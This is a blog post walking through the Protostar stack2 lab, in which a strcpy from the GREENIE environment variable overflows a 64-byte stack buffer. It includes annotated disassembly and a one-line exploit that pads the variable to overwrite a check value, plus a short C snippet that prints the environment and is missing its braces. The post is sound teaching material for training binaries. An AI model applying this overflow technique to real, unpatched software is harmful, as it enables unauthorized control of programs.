DEV Community

Cover image for Hacking environment variables (protostar - stack2)

Posted on • Updated on

Hacking environment variables (protostar - stack2)

Protostar - stack2

In stack0 our user input came from standard input via the gets function.
In stack1, it came from the first program parameter. Here we'll discover how envrionnment variables
can also be a way to inject user data into a program.

Environments variables are inherited from the parent program.
Within the code, they can be fetched in many ways. Most common ways are the third main argument (char **envp) and the getenv function.
In either case, we are maniulating char pointers (aka strings).

Static analysis

The vulnerability here is again lying in inexistent checks around strcpy destination buffer leading to overflows.
Let's annotate the objdump output:

08048494 <main>:
 8048494:       55                      push   ebp
 8048495:       89 e5                   mov    ebp,esp
 8048497:       83 e4 f0                and    esp,0xfffffff0
 804849a:       83 ec 60                sub    esp,0x60

 804849d:       c7 04 24 e0 85 04 08    mov    DWORD PTR [esp],0x80485e0        ; "GREENIE"
 80484a4:       e8 d3 fe ff ff          call   804837c <getenv@plt>             ; getenv("GREENIE");
 80484a9:       89 44 24 5c             mov    DWORD PTR [esp+0x5c],eax         ; save greenie_value
 80484ad:       83 7c 24 5c 00          cmp    DWORD PTR [esp+0x5c],0x0         ; check getenv() value against null
 80484b2:       75 14                   jne    80484c8 <main+0x34>              ; continue normal execution

 80484b4:       c7 44 24 04 e8 85 04    mov    DWORD PTR [esp+0x4],0x80485e8
 80484bb:       08
 80484bc:       c7 04 24 01 00 00 00    mov    DWORD PTR [esp],0x1
 80484c3:       e8 f4 fe ff ff          call   80483bc <errx@plt>               ; errx(1, "please set the GREENIE environment variable");

 80484c8:       c7 44 24 58 00 00 00    mov    DWORD PTR [esp+0x58],0x0
 80484cf:       00
 80484d0:       8b 44 24 5c             mov    eax,DWORD PTR [esp+0x5c]
 80484d4:       89 44 24 04             mov    DWORD PTR [esp+0x4],eax
 80484d8:       8d 44 24 18             lea    eax,[esp+0x18]
 80484dc:       89 04 24                mov    DWORD PTR [esp],eax
 80484df:       e8 b8 fe ff ff          call   804839c <strcpy@plt>             ; strcpy(buffer, greenie_value);
 80484e4:       8b 44 24 58             mov    eax,DWORD PTR [esp+0x58]
 80484e8:       3d 0a 0d 0a 0d          cmp    eax,0xd0a0d0a                    ; greenie_value == 0xd0a0d0a
 80484ed:       75 0e                   jne    80484fd <main+0x69>

 80484ef:       c7 04 24 18 86 04 08    mov    DWORD PTR [esp],0x8048618
 80484f6:       e8 d1 fe ff ff          call   80483cc <puts@plt>               ; puts("you have correctly modified the variable");

 80484fb:       eb 15                   jmp    8048512 <main+0x7e>

 80484fd:       8b 54 24 58             mov    edx,DWORD PTR [esp+0x58]
 8048501:       b8 41 86 04 08          mov    eax,0x8048641
 8048506:       89 54 24 04             mov    DWORD PTR [esp+0x4],edx
 804850a:       89 04 24                mov    DWORD PTR [esp],eax
 804850d:       e8 9a fe ff ff          call   80483ac <printf@plt>             ; printf("Try again, you got 0x%08x", greenie_value);

 8048512:       c9                      leave
 8048513:       c3                      ret
Enter fullscreen mode Exit fullscreen mode

Our environment variable name is GREENIE. The local (stack) variable value must be 0xd0a0d0a.

Let's try this using this small C program:

#include <stdlib.h>
#include <stdio.h>

int main(int argc, char **argv, char **envp)
  while(*envp) puts(*envp++);
Enter fullscreen mode Exit fullscreen mode

Now I'm going to compile and test it with the NAME environment variable:

$ gcc env.c && NAME=value ./a.out
Enter fullscreen mode Exit fullscreen mode

We can see the main difference between getenv and envp. getenv gives the value associated with
the variable name passed as parameter while envp contains raw data just like if you invoked env command.


Our buffer for the GREENIE value is still 64 bytes long.

The value 0xd0a0d0a is also in the ASCII table. Those are the non printable "new line" and "carriage return" characters.
We can represent them in the shell by the escaped sequences \n and \r. Thus our exploit is:

root@protostar:/opt/protostar/bin# GREENIE=$(python -c 'print "A" * 64 + "\n\r\n\r"') ./stack2
you have correctly modified the variable
Enter fullscreen mode Exit fullscreen mode

Have fun!


Top comments (0)